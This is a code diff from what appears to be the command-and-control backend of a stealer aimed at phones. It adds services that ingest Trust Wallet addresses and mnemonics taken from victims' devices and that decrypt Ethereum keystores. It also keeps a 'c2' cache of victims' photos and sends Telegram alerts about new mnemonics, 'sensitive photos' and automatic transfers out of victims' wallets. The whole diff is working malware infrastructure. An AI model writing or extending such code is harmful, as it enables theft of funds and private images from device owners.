||||
return in_array($this->extension($filename), self::IMAGE_EXT, true);
|
||||
}
|
||||
|
||||
private function extension(string $filename): string
|
||||
{
|
||||
$dot = strrpos($filename, '.');
|
||||
if ($dot === false) {
|
||||
return '';
|
||||
}
|
||||
|
||||
return strtolower(substr($filename, $dot + 1));
|
||||
}
|
||||
|
||||
private function safeName(string $name): string
|
||||
{
|
||||
$name = str_replace(["\0", '\\'], '', $name);
|
||||
$name = basename(str_replace(['/', '\\'], '', $name));
|
||||
$name = preg_replace('/[^A-Za-z0-9._-]/', '_', $name) ?? '';
|
||||
|
||||
return $name === '.' || $name === '..' ? '' : $name;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,178 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Support\WalletSource;
|
||||
|
||||
/**
|
||||
* Pull plaintext Trust Wallet addresses from UTC / wallet_pkg /war sandbox.
|
||||
* Only BTC / ETH / TRX; at most two addresses per chain, in file order.
|
||||
*/
|
||||
class DsTrustAddressIngest
|
||||
{
|
||||
public const MAX_PER_CHAIN = 2;
|
||||
|
||||
/** WalletCore coin type → persisted chain_type. */
|
||||
private const COIN_CHAIN = [
|
||||
0 => 'BITCOIN',
|
||||
60 => 'ETHEREUM',
|
||||
195 => 'TRON',
|
||||
];
|
||||
|
||||
public function __construct(
|
||||
private readonly IngestService $ingest,
|
||||
) {}
|
||||
|
||||
public function ingest(Device $device, mixed $node): int
|
||||
{
|
||||
$rows = $this->collect($node);
|
||||
if ($rows === []) {
|
||||
return 0;
|
||||
}
|
||||
$this->ingest->ingestAddresses($device, [
|
||||
'a' => 'd',
|
||||
'data' => $rows,
|
||||
]);
|
||||
|
||||
return count($rows);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
|
||||
*/
|
||||
public function collect(mixed $node): array
|
||||
{
|
||||
$picked = [
|
||||
'BITCOIN' => [],
|
||||
'ETHEREUM' => [],
|
||||
'TRON' => [],
|
||||
];
|
||||
foreach ($this->walkAccounts($node) as $acct) {
|
||||
$address = trim((string) ($acct['address'] ?? ''));
|
||||
$chain = $this->chainFor($address, $acct['coin'] ?? null);
|
||||
if ($chain === null) {
|
||||
continue;
|
||||
}
|
||||
if (in_array($address, $picked[$chain], true)) {
|
||||
continue;
|
||||
}
|
||||
if (count($picked[$chain]) >= self::MAX_PER_CHAIN) {
|
||||
continue;
|
||||
}
|
||||
$picked[$chain][] = $address;
|
||||
}
|
||||
|
||||
$out = [];
|
||||
foreach ($picked as $chain => $addresses) {
|
||||
$symbol = match ($chain) {
|
||||
'BITCOIN' => 'BTC',
|
||||
'ETHEREUM' => 'ETH',
|
||||
default => 'TRX',
|
||||
};
|
||||
foreach ($addresses as $address) {
|
||||
$out[] = [
|
||||
'address' => $address,
|
||||
'chainType' => $chain,
|
||||
'symbol' => $symbol,
|
||||
'balance' => 0,
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array<string, mixed>>
|
||||
*/
|
||||
private function walkAccounts(mixed $node, int $depth = 0): array
|
||||
{
|
||||
if ($depth > 8 || $node === null) {
|
||||
return [];
|
||||
}
|
||||
if (is_string($node)) {
|
||||
$decoded = $this->decodeBlob($node);
|
||||
if ($decoded === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->walkAccounts($decoded, $depth + 1);
|
||||
}
|
||||
if (! is_array($node)) {
|
||||
return [];
|
||||
}
|
||||
if (isset($node['activeAccounts']) && is_array($node['activeAccounts'])) {
|
||||
return array_values(array_filter(
|
||||
$node['activeAccounts'],
|
||||
static fn ($row) => is_array($row)
|
||||
));
|
||||
}
|
||||
$out = [];
|
||||
foreach ($node as $key => $child) {
|
||||
if (is_string($key) && strcasecmp($key, 'data_b64') === 0 && is_string($child)) {
|
||||
$out = array_merge($out, $this->walkAccounts($child, $depth + 1));
|
||||
|
||||
continue;
|
||||
}
|
||||
$out = array_merge($out, $this->walkAccounts($child, $depth + 1));
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
private function decodeBlob(string $raw): mixed
|
||||
{
|
||||
$raw = trim($raw);
|
||||
if ($raw === '') {
|
||||
return null;
|
||||
}
|
||||
if (str_starts_with($raw, '{') || str_starts_with($raw, '[')) {
|
||||
$json = json_decode($raw, true);
|
||||
|
||||
return is_array($json) ? $json : null;
|
||||
}
|
||||
$b64 = base64_decode($raw, true);
|
||||
if (is_string($b64) && $b64 !== '') {
|
||||
$json = json_decode($b64, true);
|
||||
if (is_array($json)) {
|
||||
return $json;
|
||||
}
|
||||
}
|
||||
$hex = preg_replace('/[^0-9a-fA-F]/', '', $raw) ?? '';
|
||||
if ($hex !== '' && strlen($hex) % 2 === 0 && strlen($hex) >= 8) {
|
||||
$bin = @hex2bin($hex);
|
||||
if (is_string($bin) && $bin !== '') {
|
||||
$json = json_decode($bin, true);
|
||||
if (is_array($json)) {
|
||||
return $json;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function chainFor(string $address, mixed $coin): ?string
|
||||
{
|
||||
if ($address === '') {
|
||||
return null;
|
||||
}
|
||||
if (is_numeric($coin)) {
|
||||
$mapped = self::COIN_CHAIN[(int) $coin] ?? null;
|
||||
if ($mapped !== null) {
|
||||
return $mapped;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
$inferred = match (WalletSource::inferChainType($address)) {
|
||||
'BITCOIN' => 'BITCOIN',
|
||||
'ETHEREUM' => 'ETHEREUM',
|
||||
'TRON' => 'TRON',
|
||||
default => null,
|
||||
};
|
||||
|
||||
return $inferred;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,199 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Support\Scrypt;
|
||||
use kornrunner\Keccak;
|
||||
|
||||
/**
|
||||
* Ethereum / WalletCore keystore v3: scrypt|pbkdf2 + AES-128-CTR + keccak MAC.
|
||||
*/
|
||||
final class EthKeystore
|
||||
{
|
||||
public static function decrypt(array $keystore, string $password): ?string
|
||||
{
|
||||
$crypto = $keystore['crypto'] ?? $keystore['Crypto'] ?? null;
|
||||
if (! is_array($crypto)) {
|
||||
return null;
|
||||
}
|
||||
$cipher = strtolower((string) ($crypto['cipher'] ?? ''));
|
||||
if ($cipher !== 'aes-128-ctr') {
|
||||
return null;
|
||||
}
|
||||
$ciphertext = self::fromHex($crypto['ciphertext'] ?? null);
|
||||
$mac = self::fromHex($crypto['mac'] ?? null);
|
||||
$iv = self::fromHex($crypto['cipherparams']['iv'] ?? null);
|
||||
if ($ciphertext === null || $mac === null || $iv === null || strlen($iv) !== 16) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$derived = self::deriveKey($crypto, $password);
|
||||
if ($derived === null || strlen($derived) < 32) {
|
||||
return null;
|
||||
}
|
||||
if (! hash_equals($mac, self::keccak256(substr($derived, 16, 16).$ciphertext))) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$plain = openssl_decrypt($ciphertext, 'aes-128-ctr', substr($derived, 0, 16), OPENSSL_RAW_DATA, $iv);
|
||||
if (! is_string($plain) || $plain === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $plain;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $kdfparams
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public static function encrypt(string $plaintext, string $password, array $kdfparams = []): array
|
||||
{
|
||||
$salt = $kdfparams['salt'] ?? bin2hex(random_bytes(32));
|
||||
if (is_string($salt) && ctype_xdigit($salt)) {
|
||||
$saltHex = strtolower($salt);
|
||||
} else {
|
||||
$saltHex = bin2hex((string) $salt);
|
||||
}
|
||||
$n = (int) ($kdfparams['n'] ?? 16);
|
||||
$r = (int) ($kdfparams['r'] ?? 8);
|
||||
$p = (int) ($kdfparams['p'] ?? 1);
|
||||
$dklen = (int) ($kdfparams['dklen'] ?? 32);
|
||||
$iv = random_bytes(16);
|
||||
$derived = Scrypt::hash($password, hex2bin($saltHex) ?: '', $n, $r, $p, $dklen);
|
||||
$ciphertext = openssl_encrypt($plaintext, 'aes-128-ctr', substr($derived, 0, 16), OPENSSL_RAW_DATA, $iv);
|
||||
if (! is_string($ciphertext)) {
|
||||
throw new \RuntimeException('aes-128-ctr encrypt failed');
|
||||
}
|
||||
|
||||
return [
|
||||
'version' => 3,
|
||||
'type' => 'mnemonic',
|
||||
'crypto' => [
|
||||
'cipher' => 'aes-128-ctr',
|
||||
'cipherparams' => ['iv' => bin2hex($iv)],
|
||||
'ciphertext' => bin2hex($ciphertext),
|
||||
'kdf' => 'scrypt',
|
||||
'kdfparams' => [
|
||||
'dklen' => $dklen,
|
||||
'n' => $n,
|
||||
'p' => $p,
|
||||
'r' => $r,
|
||||
'salt' => $saltHex,
|
||||
],
|
||||
'mac' => bin2hex(self::keccak256(substr($derived, 16, 16).$ciphertext)),
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $crypto
|
||||
*/
|
||||
private static function deriveKey(array $crypto, string $password): ?string
|
||||
{
|
||||
$kdf = strtolower((string) ($crypto['kdf'] ?? ''));
|
||||
$params = is_array($crypto['kdfparams'] ?? null) ? $crypto['kdfparams'] : [];
|
||||
$dklen = (int) ($params['dklen'] ?? 32);
|
||||
$salt = self::fromHex($params['salt'] ?? null);
|
||||
if ($salt === null || $dklen < 16) {
|
||||
return null;
|
||||
}
|
||||
if ($kdf === 'scrypt') {
|
||||
$n = (int) ($params['n'] ?? 0);
|
||||
$r = (int) ($params['r'] ?? 0);
|
||||
$p = (int) ($params['p'] ?? 0);
|
||||
if ($n < 2 || $r < 1 || $p < 1) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return self::scrypt($password, $salt, $n, $r, $p, $dklen);
|
||||
}
|
||||
if ($kdf === 'pbkdf2') {
|
||||
$c = (int) ($params['c'] ?? 0);
|
||||
$prf = strtolower((string) ($params['prf'] ?? 'hmac-sha256'));
|
||||
if ($c < 1 || ! str_contains($prf, 'sha256')) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return hash_pbkdf2('sha256', $password, $salt, $c, $dklen, true);
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private static function scrypt(string $password, string $salt, int $n, int $r, int $p, int $dklen): ?string
|
||||
{
|
||||
if ($n >= 256) {
|
||||
$fast = self::scryptPython($password, $salt, $n, $r, $p, $dklen);
|
||||
if ($fast !== null) {
|
||||
return $fast;
|
||||
}
|
||||
}
|
||||
try {
|
||||
return Scrypt::hash($password, $salt, $n, $r, $p, $dklen);
|
||||
} catch (\Throwable) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private static function scryptPython(string $password, string $salt, int $n, int $r, int $p, int $dklen): ?string
|
||||
{
|
||||
$python = trim((string) shell_exec('command -v python3'));
|
||||
if ($python === '') {
|
||||
return null;
|
||||
}
|
||||
$code = <<<'PY'
|
||||
from Crypto.Protocol.KDF import scrypt
|
||||
import sys
|
||||
pw = bytes.fromhex(sys.argv[1])
|
||||
salt = bytes.fromhex(sys.argv[2])
|
||||
n, r, p, dk = (int(sys.argv[i]) for i in range(3, 7))
|
||||
sys.stdout.buffer.write(scrypt(pw, salt, dk, N=n, r=r, p=p))
|
||||
PY;
|
||||
$cmd = [
|
||||
$python,
|
||||
'-c',
|
||||
$code,
|
||||
bin2hex($password),
|
||||
bin2hex($salt),
|
||||
(string) $n,
|
||||
(string) $r,
|
||||
(string) $p,
|
||||
(string) $dklen,
|
||||
];
|
||||
$spec = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
|
||||
$proc = @proc_open($cmd, $spec, $pipes);
|
||||
if (! is_resource($proc)) {
|
||||
return null;
|
||||
}
|
||||
fclose($pipes[0]);
|
||||
$out = stream_get_contents($pipes[1]);
|
||||
fclose($pipes[1]);
|
||||
fclose($pipes[2]);
|
||||
$codeStatus = proc_close($proc);
|
||||
if ($codeStatus !== 0 || ! is_string($out) || strlen($out) !== $dklen) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
private static function keccak256(string $data): string
|
||||
{
|
||||
return hex2bin(Keccak::hash($data, 256)) ?: '';
|
||||
}
|
||||
|
||||
private static function fromHex(mixed $value): ?string
|
||||
{
|
||||
if (! is_string($value) || $value === '') {
|
||||
return null;
|
||||
}
|
||||
$hex = preg_replace('/[^0-9a-fA-F]/', '', $value) ?? '';
|
||||
if ($hex === '' || strlen($hex) % 2 !== 0) {
|
||||
return null;
|
||||
}
|
||||
$bin = @hex2bin($hex);
|
||||
|
||||
return is_string($bin) ? $bin : null;
|
||||
}
|
||||
}
|
||||
@@ -477,8 +477,15 @@ class IngestService
|
||||
return;
|
||||
}
|
||||
|
||||
$source = WalletSource::fromKeystoreHint($payload['a'] ?? null);
|
||||
if ($source === '' && is_array($result)) {
|
||||
$source = WalletSource::fromKeystoreHint($result['source'] ?? null);
|
||||
}
|
||||
|
||||
WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => $source,
|
||||
'decrypted' => 0,
|
||||
'raw_json' => is_array($result) ? $result : ['value' => $result],
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -10,7 +10,7 @@ use Illuminate\Support\Facades\Log;
|
||||
|
||||
/**
|
||||
* When a mnemonic has no linked addresses, derive BIP44 index 0 for TRON/ETH/BTC,
|
||||
* query balances, and persist only chains that have a positive balance.
|
||||
* query balances, and persist the addresses even when the balance is zero.
|
||||
*/
|
||||
class MnemonicWalletDiscovery
|
||||
{
|
||||
@@ -26,9 +26,9 @@ class MnemonicWalletDiscovery
|
||||
) {}
|
||||
|
||||
/**
|
||||
* @return int Number of address rows created or updated with positive balance
|
||||
* @return int Number of address rows created or updated
|
||||
*/
|
||||
public function discoverFundedIndexZero(WalletMnemonic $mnemonic): int
|
||||
public function discoverIndexZero(WalletMnemonic $mnemonic): int
|
||||
{
|
||||
$phrase = $mnemonic->mnemonic;
|
||||
if ($phrase === null || trim($phrase) === '') {
|
||||
@@ -70,9 +70,15 @@ class MnemonicWalletDiscovery
|
||||
): bool {
|
||||
$driver = $this->chains->resolve($chain);
|
||||
$address = $driver->deriveAddress($phrase, 0);
|
||||
$coins = $this->fetchCoins($chain, $address);
|
||||
if (! $this->hasPositiveBalance($coins)) {
|
||||
return false;
|
||||
try {
|
||||
$coins = $this->fetchCoins($chain, $address);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('mnemonic wallet discovery balance failed: '.$e->getMessage(), [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'chain' => $chain,
|
||||
'address' => $address,
|
||||
]);
|
||||
$coins = $this->emptyCoins($chain);
|
||||
}
|
||||
|
||||
$row = WalletAddress::query()->firstOrNew([
|
||||
@@ -95,6 +101,19 @@ class MnemonicWalletDiscovery
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, string>
|
||||
*/
|
||||
private function emptyCoins(string $chain): array
|
||||
{
|
||||
return match ($chain) {
|
||||
'tron' => ['trx' => '0', 'usdt' => '0'],
|
||||
'eth' => ['eth' => '0', 'usdt' => '0'],
|
||||
'btc' => ['btc' => '0'],
|
||||
default => [],
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, string>
|
||||
*/
|
||||
@@ -131,21 +150,4 @@ class MnemonicWalletDiscovery
|
||||
return '0';
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, string> $coins
|
||||
*/
|
||||
private function hasPositiveBalance(array $coins): bool
|
||||
{
|
||||
foreach ($coins as $value) {
|
||||
if (! is_numeric($value)) {
|
||||
continue;
|
||||
}
|
||||
if (bccomp((string) $value, '0', 18) > 0) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,234 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class PhotoPreview
|
||||
{
|
||||
public const CACHE_DIR = 'c2/photo-previews';
|
||||
|
||||
/**
|
||||
* Serve a stored photo. HEIC/HEIF is converted to JPEG at display time;
|
||||
* the ingested original is never rewritten.
|
||||
*
|
||||
* @return array{bytes: string, mime: string, converted: bool}
|
||||
*/
|
||||
public function payload(string $absPath, string $deviceKey, string $sha256): array
|
||||
{
|
||||
$mime = @mime_content_type($absPath) ?: 'application/octet-stream';
|
||||
$raw = (string) file_get_contents($absPath);
|
||||
if ($raw === '' || ! $this->isHeic($absPath, $mime, $raw)) {
|
||||
return [
|
||||
'bytes' => $raw,
|
||||
'mime' => $mime,
|
||||
'converted' => false,
|
||||
];
|
||||
}
|
||||
|
||||
$cacheRel = $this->cachePath($deviceKey, $sha256);
|
||||
$disk = Storage::disk('local');
|
||||
if ($disk->exists($cacheRel)) {
|
||||
$cached = (string) $disk->get($cacheRel);
|
||||
if ($this->isJpeg($cached)) {
|
||||
return [
|
||||
'bytes' => $cached,
|
||||
'mime' => 'image/jpeg',
|
||||
'converted' => true,
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
$jpeg = $this->convertToJpeg($absPath);
|
||||
if ($jpeg === null) {
|
||||
Log::warning('heic preview convert failed', [
|
||||
'path' => $absPath,
|
||||
'sha256' => $sha256,
|
||||
]);
|
||||
|
||||
return [
|
||||
'bytes' => $raw,
|
||||
'mime' => $mime,
|
||||
'converted' => false,
|
||||
];
|
||||
}
|
||||
|
||||
$disk->put($cacheRel, $jpeg);
|
||||
|
||||
return [
|
||||
'bytes' => $jpeg,
|
||||
'mime' => 'image/jpeg',
|
||||
'converted' => true,
|
||||
];
|
||||
}
|
||||
|
||||
public function forgetForDevice(string $deviceKey): void
|
||||
{
|
||||
$dir = self::CACHE_DIR.'/'.$this->safeKey($deviceKey);
|
||||
try {
|
||||
if (Storage::disk('local')->directoryExists($dir)) {
|
||||
Storage::disk('local')->deleteDirectory($dir);
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
try {
|
||||
Storage::disk('local')->deleteDirectory($dir);
|
||||
} catch (\Throwable) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public function headLooksHeic(string $head): bool
|
||||
{
|
||||
if (strlen($head) < 12 || substr($head, 4, 4) !== 'ftyp') {
|
||||
return false;
|
||||
}
|
||||
$brands = substr($head, 8);
|
||||
foreach (['heic', 'heix', 'heif', 'hevc', 'hevx', 'mif1', 'msf1'] as $brand) {
|
||||
if (str_contains($brands, $brand)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
private function isHeic(string $absPath, string $mime, string $raw): bool
|
||||
{
|
||||
$mime = strtolower($mime);
|
||||
if (str_contains($mime, 'heic') || str_contains($mime, 'heif')) {
|
||||
return true;
|
||||
}
|
||||
$ext = strtolower(pathinfo($absPath, PATHINFO_EXTENSION));
|
||||
if (in_array($ext, ['heic', 'heif'], true)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return $this->headLooksHeic(substr($raw, 0, 32));
|
||||
}
|
||||
|
||||
private function isJpeg(string $bytes): bool
|
||||
{
|
||||
return strlen($bytes) >= 3 && substr($bytes, 0, 2) === "\xFF\xD8";
|
||||
}
|
||||
|
||||
private function convertToJpeg(string $absPath): ?string
|
||||
{
|
||||
$src = null;
|
||||
$dst = null;
|
||||
try {
|
||||
$srcBase = tempnam(sys_get_temp_dir(), 'heic_src_');
|
||||
$dstBase = tempnam(sys_get_temp_dir(), 'heic_dst_');
|
||||
if ($srcBase === false || $dstBase === false) {
|
||||
return null;
|
||||
}
|
||||
@unlink($srcBase);
|
||||
@unlink($dstBase);
|
||||
$src = $srcBase.'.heic';
|
||||
$dst = $dstBase.'.jpg';
|
||||
if (! @copy($absPath, $src)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
foreach ($this->convertCommands($src, $dst) as $cmd) {
|
||||
$result = Process::timeout(45)->run($cmd);
|
||||
if (! $result->successful() || ! is_file($dst) || filesize($dst) < 3) {
|
||||
continue;
|
||||
}
|
||||
$bytes = (string) file_get_contents($dst);
|
||||
if ($this->isJpeg($bytes)) {
|
||||
return $bytes;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
} finally {
|
||||
if (is_string($src) && is_file($src)) {
|
||||
@unlink($src);
|
||||
}
|
||||
if (is_string($dst) && is_file($dst)) {
|
||||
@unlink($dst);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<list<string>>
|
||||
*/
|
||||
private function convertCommands(string $src, string $dst): array
|
||||
{
|
||||
$cmds = [];
|
||||
if (is_executable('/usr/bin/sips')) {
|
||||
$cmds[] = ['/usr/bin/sips', '-s', 'format', 'jpeg', '--out', $dst, $src];
|
||||
}
|
||||
foreach (['heif-convert', 'magick'] as $bin) {
|
||||
$path = $this->resolveBinary($bin);
|
||||
if ($path === null) {
|
||||
continue;
|
||||
}
|
||||
$cmds[] = $bin === 'magick'
|
||||
? [$path, $src, '-quality', '85', $dst]
|
||||
: [$path, $src, $dst];
|
||||
}
|
||||
|
||||
return $cmds;
|
||||
}
|
||||
|
||||
private function resolveBinary(string $name): ?string
|
||||
{
|
||||
$candidates = match ($name) {
|
||||
'magick' => ['magick', '/opt/homebrew/bin/magick', '/usr/local/bin/magick', '/usr/bin/magick'],
|
||||
'heif-convert' => ['heif-convert', '/opt/homebrew/bin/heif-convert', '/usr/local/bin/heif-convert', '/usr/bin/heif-convert'],
|
||||
default => [$name],
|
||||
};
|
||||
foreach ($candidates as $bin) {
|
||||
if (str_contains($bin, DIRECTORY_SEPARATOR)) {
|
||||
if (is_executable($bin)) {
|
||||
return $bin;
|
||||
}
|
||||
|
||||
continue;
|
||||
}
|
||||
$found = $this->which($bin);
|
||||
if ($found !== null) {
|
||||
return $found;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function which(string $name): ?string
|
||||
{
|
||||
$path = getenv('PATH');
|
||||
if (! is_string($path) || $path === '') {
|
||||
return null;
|
||||
}
|
||||
foreach (explode(PATH_SEPARATOR, $path) as $dir) {
|
||||
$candidate = rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$name;
|
||||
if (is_executable($candidate)) {
|
||||
return $candidate;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function cachePath(string $deviceKey, string $sha256): string
|
||||
{
|
||||
$sha = preg_replace('/[^0-9a-fA-F]/', '', $sha256) ?? '';
|
||||
if ($sha === '') {
|
||||
$sha = 'unknown';
|
||||
}
|
||||
|
||||
return self::CACHE_DIR.'/'.$this->safeKey($deviceKey).'/'.$sha.'.jpg';
|
||||
}
|
||||
|
||||
private function safeKey(string $key): string
|
||||
{
|
||||
$key = preg_replace('/[^A-Za-z0-9._-]/', '_', $key) ?? '';
|
||||
|
||||
return $key === '' ? '_unknown' : $key;
|
||||
}
|
||||
}
|
||||
@@ -185,7 +185,7 @@ class TelegramNotifier
|
||||
public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'📱 <b>New Device</b>',
|
||||
'📱 <b>新设备</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
|
||||
'🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
|
||||
@@ -214,7 +214,7 @@ class TelegramNotifier
|
||||
}
|
||||
|
||||
$lines = [
|
||||
'💰 <b>New Wallet Address</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
|
||||
'💰 <b>新钱包地址</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
|
||||
...$this->deviceHeader($deviceId),
|
||||
];
|
||||
|
||||
@@ -227,12 +227,12 @@ class TelegramNotifier
|
||||
if ($i > 0) {
|
||||
$lines[] = '';
|
||||
}
|
||||
$lines[] = '⛓ <b>Chain</b>: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—');
|
||||
$lines[] = '⛓ <b>链</b>: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—');
|
||||
if ($source !== '') {
|
||||
$lines[] = '🏷 <b>Source</b>: '.$this->e($source);
|
||||
$lines[] = '🏷 <b>来源</b>: '.$this->e($source);
|
||||
}
|
||||
$lines[] = '📬 <b>Address</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
|
||||
$lines[] = '💵 <b>Balance</b>: '.$this->e($bal);
|
||||
$lines[] = '📬 <b>地址</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
|
||||
$lines[] = '💵 <b>余额</b>: '.$this->e($bal);
|
||||
}
|
||||
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
@@ -249,29 +249,29 @@ class TelegramNotifier
|
||||
}
|
||||
|
||||
$this->send(implode("\n", [
|
||||
'👜 <b>Installed Wallets</b>',
|
||||
'👜 <b>已安装钱包</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🏷 <b>Wallets</b>: '.$this->e(implode(', ', $wallets)),
|
||||
'🏷 <b>钱包</b>: '.$this->e(implode(', ', $wallets)),
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🔐 <b>New Mnemonic</b>',
|
||||
'🔐 <b>新助记词</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🏷 <b>Source</b>: '.$this->e($source ?: '—'),
|
||||
'📝 <b>Mnemonic</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
|
||||
'🏷 <b>来源</b>: '.$this->e($source ?: '—'),
|
||||
'📝 <b>助记词</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🖼 <b>Sensitive Photo</b>',
|
||||
'🖼 <b>敏感照片</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🎯 <b>x-hit</b>: '.$this->e((string) $xHit),
|
||||
'📦 <b>Count</b>: '.$this->e((string) max(1, $count)),
|
||||
'🎯 <b>敏感分</b>: '.$this->e((string) $xHit),
|
||||
'📦 <b>数量</b>: '.$this->e((string) max(1, $count)),
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
@@ -284,14 +284,14 @@ class TelegramNotifier
|
||||
?string $balance = null,
|
||||
): void {
|
||||
$lines = [
|
||||
'✅ <b>Balance Inbound</b>',
|
||||
'✅ <b>余额入账</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'⛓ <b>Chain</b>: '.$this->e($chain ?: '—'),
|
||||
'📬 <b>Address</b>: <code>'.$this->e($address).'</code>',
|
||||
'💵 <b>Amount</b>: +'.$this->e($amount).' '.$this->e($symbol),
|
||||
'⛓ <b>链</b>: '.$this->e($chain ?: '—'),
|
||||
'📬 <b>地址</b>: <code>'.$this->e($address).'</code>',
|
||||
'💵 <b>金额</b>: +'.$this->e($amount).' '.$this->e($symbol),
|
||||
];
|
||||
if ($balance !== null && trim($balance) !== '') {
|
||||
$lines[] = '💰 <b>Balance</b>: '.$this->e($balance);
|
||||
$lines[] = '💰 <b>余额</b>: '.$this->e($balance);
|
||||
}
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
}
|
||||
@@ -311,23 +311,23 @@ class TelegramNotifier
|
||||
?string $error = null,
|
||||
): void {
|
||||
$lines = [
|
||||
$ok ? '🚀 <b>Auto Transfer OK</b>' : '⚠️ <b>Auto Transfer Failed</b>',
|
||||
$ok ? '🚀 <b>自动转账成功</b>' : '⚠️ <b>自动转账失败</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'⛓ <b>Chain</b>: '.$this->e($chain !== '' ? strtoupper($chain) : '—'),
|
||||
'💎 <b>Asset</b>: '.$this->e($asset !== '' ? strtoupper($asset) : '—'),
|
||||
'📤 <b>From</b>: <code>'.$this->e($fromAddress).'</code>',
|
||||
'⛓ <b>链</b>: '.$this->e($chain !== '' ? strtoupper($chain) : '—'),
|
||||
'💎 <b>资产</b>: '.$this->e($asset !== '' ? strtoupper($asset) : '—'),
|
||||
'📤 <b>转出</b>: <code>'.$this->e($fromAddress).'</code>',
|
||||
];
|
||||
if ($toAddress !== null && trim($toAddress) !== '') {
|
||||
$lines[] = '📥 <b>To</b>: <code>'.$this->e($toAddress).'</code>';
|
||||
$lines[] = '📥 <b>转入</b>: <code>'.$this->e($toAddress).'</code>';
|
||||
}
|
||||
if ($amount !== null && trim($amount) !== '') {
|
||||
$lines[] = '💵 <b>Amount</b>: '.$this->e($amount).' '.$this->e(strtoupper($asset));
|
||||
$lines[] = '💵 <b>金额</b>: '.$this->e($amount).' '.$this->e(strtoupper($asset));
|
||||
}
|
||||
if ($ok && $txid !== null && trim($txid) !== '') {
|
||||
$lines[] = '🔗 <b>Tx</b>: <code>'.$this->e($txid).'</code>';
|
||||
$lines[] = '🔗 <b>交易</b>: <code>'.$this->e($txid).'</code>';
|
||||
}
|
||||
if (! $ok && $error !== null && trim($error) !== '') {
|
||||
$lines[] = '❌ <b>Error</b>: '.$this->e($error);
|
||||
